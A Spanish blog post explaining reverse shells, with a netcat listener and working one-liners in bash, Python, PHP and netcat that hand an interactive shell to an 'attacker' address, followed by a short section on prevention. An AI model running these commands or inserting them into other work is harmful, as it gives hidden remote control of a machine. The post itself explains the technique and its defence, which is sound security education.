Revista Informática

Reverse shell, una curiosa y al mismo tiempo peligrosa técnica

Publicado el 15 octubre 2019 por Drassill
Recientemente, navegando por Internet y curioseando un poco de todo, me he encontrado con una técnica que, si bien no es en absoluto reciente, sí que me parece muy curiosa de compartir. Una técnica que si bien es generalmente usada por atacantes maliciosos (generalmente en rootkits), conceptualmente me parece una técnica muy interesante, pues como con todo, se le puede sacar partido para bien; solo es cuestión de verlo desde la perspectiva de los buenos. Se trata de la creación de shells remotos, cuya técnica se llamada Reverse Shell
reverse_shell
Como su propio nombre indica, la técnica se basa en la creación de una shell remota usando como base la propia shell que se está ejecutando en estos momentos. Esto puede ser útil en equipos a los que queremos tener acceso remoto y no se pueda utilizar SSH, es cierto que es sin lugar a dudas una técnica peligrosa, y que lo ideal es usar SSH como todo el mundo,pero el hecho de saber que la técnica está allí puede resultar interesante; ya sea para nuestro propio uso o para ser conscientes de que existe dicha posibilidad. 
Para éste método se usan dos máquinas; una "atacante" que sería la que ejecutaría la shell remota, y una "victima", que sería el equipo cuya shell remota deseamos obtener. En el equipo atacante el único requisito sería tener instalada la herramienta netcat. En el de la "victima" en cambio no sería 100% necesario, pues habría diferentes métodos para realizar la shell remota; hay que tener en cuenta que conceptualmente lo que haríamos sería ponernos con netcat a "escuchar" en un puerto y desde la otra máquina, intentaríamos mediante diferentes métodos establecer una conexión con el puerto del atacante para darle el control de nuestra shell en cuestión.
Hay distintos métodos para conectarnos con la otra máquina, uno por cada "lenguaje" mediante el que queramos comunicarnos con la otra máquina. Es importante tener en cuenta que todos los métodos requieren que haya un cierto software instalado, y que en caso de no estar instalado, no se podría utilizar dicho método de comunicación.
Primero de todo pongámonos a escuchar desde la máquina "atacante"; es tan sencillo como hacer:
nc -lvp PUERTO

Siempre es recomendable "escuchar" en puertos altos, ya que así sabremos que dicho puerto no está en uso; un ejemplo genérico podría ser:
nc -lvp 10000

Con esto ya estaríamos escuchando; esta acción solamente indicaría que nosotros estamos esperando en dicho puerto a que alguien establezca una conexión contra el susodicho; es en el equipo cuya shell queremos "copiar", donde ejecutaríamos las conexiones. A partir de ahora, pensaremos que las conexiones se realizarán contra la IP 192.168.1.112. La conexión más estándar que funciona en casi todas las máquinas Linux, sería mediante bash, ya que es prácticamente estándar en todas.:
Bash:

Lo bueno que tiene realizar está técnica es que es relativamente fácil de recordar, ya que es un simple bash -i > seguido del tipo de conexión que sería /dev/tcp/ y despues la IP del objetivo seguido de /puerto; los últimos parámetros solamente son para re-dirigir cualquier cualquier mensaje de salida a la consola.
bash -i >& /dev/tcp/192.168.1.112/10000 0>&1

Python:
Otro método con el que puedes realizar un reverse shell es mediante python, ya que va instalado en prácticamente todos los equipos Linux, pero tiene como pega que la sintaxis sería más complicada que en el ejemplo anterior, ya que la conexión se realizaría mediante una porción de código de python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.112",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

El lenguaje que uno puede usar para esto puede ser cualquiera; en este caso se ha usado Python porque es el que más probabilidades tiene de estar instalado en la máquina remota, pero otros lenguajes tales como Perl (relativamente común), o cualquier otro, desde C++ hasta incluso con C#.
PHP:
Si bien he dicho que se puede hacer un reverse shell con cualquier lenguaje, creo que es conveniente destacar PHP, ya que también lo permite aunque cueste creerlo. Aún siendo un lenguaje para servidores web, nos permite realizar un reverse shell:
php -r '$sock=fsockopen("192.168.1.112",10000);exec("/bin/bash -i <&3 >&3 2>&3");'

Netcat:

Por último, es interesante saber que también se puede hacer un reverse shell en el objetivo mediante netcat, al igual que hemos puesto netcat escuchando en el "atacante", podemos conectarnos con el otro lado usando la misma herramienta; la única pega que tiene es que requiere estar instalada, cosa que no siempre es así.
nc -e /bin/bash 192.168.1.112 10000

Existen otras herramientas, como ShellReverse, que son algo más completas debido a que son herramientas que agrupan diferentes lenguajes, pero en este caso he preferido mostrar a nivel conceptual las posibilidades que tenemos para hacer el reversing y el concepto que hay detrás, más allá de usar una herramienta y listo.
Lo importante es que si lo conseguimos, tendremos una terminal de shell remota que será una réplica exacta de la shell desde la que se ha ejecutado el comando, incluyendo el usuario que ha ejecutado el comando y sus permisos, lo que hace que si por ejemplo se ejecuta una reverse shell como root, el equipo atacante tendrá una terminal de root, lo que confiere control total sobre el sistema, para bien y para mal.
En caso de haberse usado de forma voluntaria por el propio usuario, tendremos nuestro objetivo conseguido, pero en caso contrario tendremos un usuario no grato controlando remotamente nuestro equipo...
Se puede prevenir?
Visto esto, podemos deducir que aunque el recurso en parte puede ser valioso para según que casos; también tenemos la pega de que el método es una vía que puede brindar acceso a gente no grata; acceso que en caso de haberse realizado como usuario root, significaría nuestro fin...
Desgraciadamente para este caso concreto no hay una forma efectiva de blindarnos... Cualquier cortafuegos que intentemos poner para nuestras conexiones salientes puede limitar nuestro sistema. Supongamos que bloqueamos las conexiones salientes... Bloqueamos todas? Bloqueamos las conexiones con estado "new"? No es factible... En caso de querer bloquear puertos... Cuales bloquear? Por mucho que se bloqueen varios puertos, siempre tiene que haber alguno abierto, y dicho puerto se puede usar para realizar el reverse.
La única solución posible es intentar tener el sistema actualizado, no abrir correos sospechosos (en caso de sistemas de escritorio) y sobre todo, intentar siempre que se pueda, instalar los paquetes desde los repositorios oficiales vía APT... Es cierto que los repositorios no tienen todo, pero en un gran número de casos cumplen su función sin tener que recurrir a páginas de terceros... Es cierto que como siempre digo la seguridad absoluta no existe y que a veces aún cuando se toman todas estas medidas de seguridad pueden no servir... Un simple USB o un descuido puede hacer que esto ocurra, pero nunca está de más intentar, al menos, no poner las cosas fáciles a aquellos que nos quieren atacar.
Espero que os haya resultado útil.
Saludos.

Volver a la Portada de Logo Paperblog